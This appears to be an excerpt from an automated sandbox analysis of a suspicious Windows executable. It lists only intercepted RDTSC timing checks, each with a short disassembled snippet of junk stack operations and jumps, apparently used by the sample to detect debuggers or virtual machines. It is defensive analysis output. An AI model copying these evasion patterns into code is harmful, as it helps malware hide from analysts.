Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3043F4 second address: 3043FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3043FF second address: 304409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5DA4981DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3046BE second address: 3046C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3046C4 second address: 3046CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3046CA second address: 3046DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F5DA4DA2F56h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3046DF second address: 3046E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3049D5 second address: 3049D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3049D9 second address: 3049DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3049DF second address: 3049E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 304D3F second address: 304D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 308F44 second address: 308F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 308F57 second address: 308F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 308F5D second address: 308F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 309088 second address: 3090A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F5DA4981DB5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 309221 second address: 309228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 309228 second address: 30922E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3093B7 second address: 3093BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 309643 second address: 309652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5DA4981DA6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 309652 second address: 309668 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5DA4DA2F5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F5DA4DA2F56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 309668 second address: 309692 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5DA4981DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F5DA4981DB9h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 309692 second address: 3096A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4DA2F5Fh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3096A8 second address: 3096B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3096B3 second address: 3096BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 30C575 second address: 30C58B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5DA4981DAEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 30C58B second address: 30C59C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5DA4DA2F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 313ABF second address: 313AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 313AC5 second address: 313AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 313AC9 second address: 313ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 313ACD second address: 313AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 314B5F second address: 314B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F5DA4981DBFh 0x0000000c jmp 00007F5DA4981DB7h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 pushad 0x00000015 push ebx 0x00000016 jmp 00007F5DA4981DACh 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 314B98 second address: 314B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 314EEC second address: 314EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5DA4981DA6h 0x0000000a jl 00007F5DA4981DA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D91C second address: 31D922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31CC2F second address: 31CC61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5DA4981DB7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F5DA4981DB5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31CC61 second address: 31CC79 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5DA4DA2F5Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31CC79 second address: 31CC82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D049 second address: 31D04D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D04D second address: 31D066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5DA4981DB1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D066 second address: 31D06C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D06C second address: 31D072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D072 second address: 31D076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D076 second address: 31D07A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D1E9 second address: 31D1EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D1EE second address: 31D1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D377 second address: 31D398 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5DA4DA2F56h 0x00000008 jmp 00007F5DA4DA2F63h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D398 second address: 31D39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 31D505 second address: 31D50A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32564E second address: 325678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5DA4981DADh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 325678 second address: 32567E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32386C second address: 323870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323870 second address: 323884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F5DA4DA2F56h 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323884 second address: 323890 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5DA4981DAEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323890 second address: 32389C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5DA4DA2F5Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323B4C second address: 323B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5DA4981DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323CA5 second address: 323CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F61h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323CBA second address: 323CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323CC0 second address: 323CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323CC6 second address: 323CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323CCA second address: 323D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a jmp 00007F5DA4DA2F67h 0x0000000f jmp 00007F5DA4DA2F63h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F5DA4DA2F56h 0x0000001d jnc 00007F5DA4DA2F56h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 323D0D second address: 323D17 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5DA4981DA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 324012 second address: 324027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4DA2F61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 324027 second address: 324031 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5DA4981DA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 324031 second address: 324037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 324037 second address: 32403C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32403C second address: 324042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 324042 second address: 324059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F5DA4981DA6h 0x00000011 jp 00007F5DA4981DA6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 324059 second address: 32405D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32405D second address: 324063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 324063 second address: 32406A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32406A second address: 324070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3241D8 second address: 3241E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5DA4DA2F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3241E2 second address: 3241F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DAFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32435B second address: 324377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F68h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32CE74 second address: 32CE79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32CE79 second address: 32CE9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F5DA4DA2F89h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32C9F7 second address: 32CA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5DA4981DA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32CA03 second address: 32CA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 32F2BD second address: 32F2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 339BEC second address: 339BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 339BF0 second address: 339C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F5DA4981DAEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 33C766 second address: 33C76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 33C76D second address: 33C7EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5DA4981DB9h 0x00000008 jmp 00007F5DA4981DB5h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 jmp 00007F5DA4981DB8h 0x00000017 jmp 00007F5DA4981DB4h 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F5DA4981DB5h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 33C7EB second address: 33C7EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 33C0F5 second address: 33C112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jo 00007F5DA4981DA6h 0x0000000c jmp 00007F5DA4981DB0h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 33C25D second address: 33C26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 33C26C second address: 33C270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 340C12 second address: 340C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 340C16 second address: 340C2D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F5DA4981DAAh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 342204 second address: 34220A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 34220A second address: 342229 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5DA4981DA6h 0x00000008 jg 00007F5DA4981DA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F5DA4981DABh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3476E9 second address: 347713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F5DA4DA2F66h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F5DA4DA2F5Eh 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 347713 second address: 347729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F5DA4981DAEh 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 347729 second address: 347733 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5DA4DA2F62h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 34EDD9 second address: 34EDE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 34EC47 second address: 34EC4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35804D second address: 358051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 358051 second address: 35807E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F5DA4DA2F56h 0x0000000d jnc 00007F5DA4DA2F56h 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F5DA4DA2F66h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35807E second address: 3580AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4981DB2h 0x00000009 popad 0x0000000a popad 0x0000000b je 00007F5DA4981DD6h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F5DA4981DADh 0x0000001a rdtsc
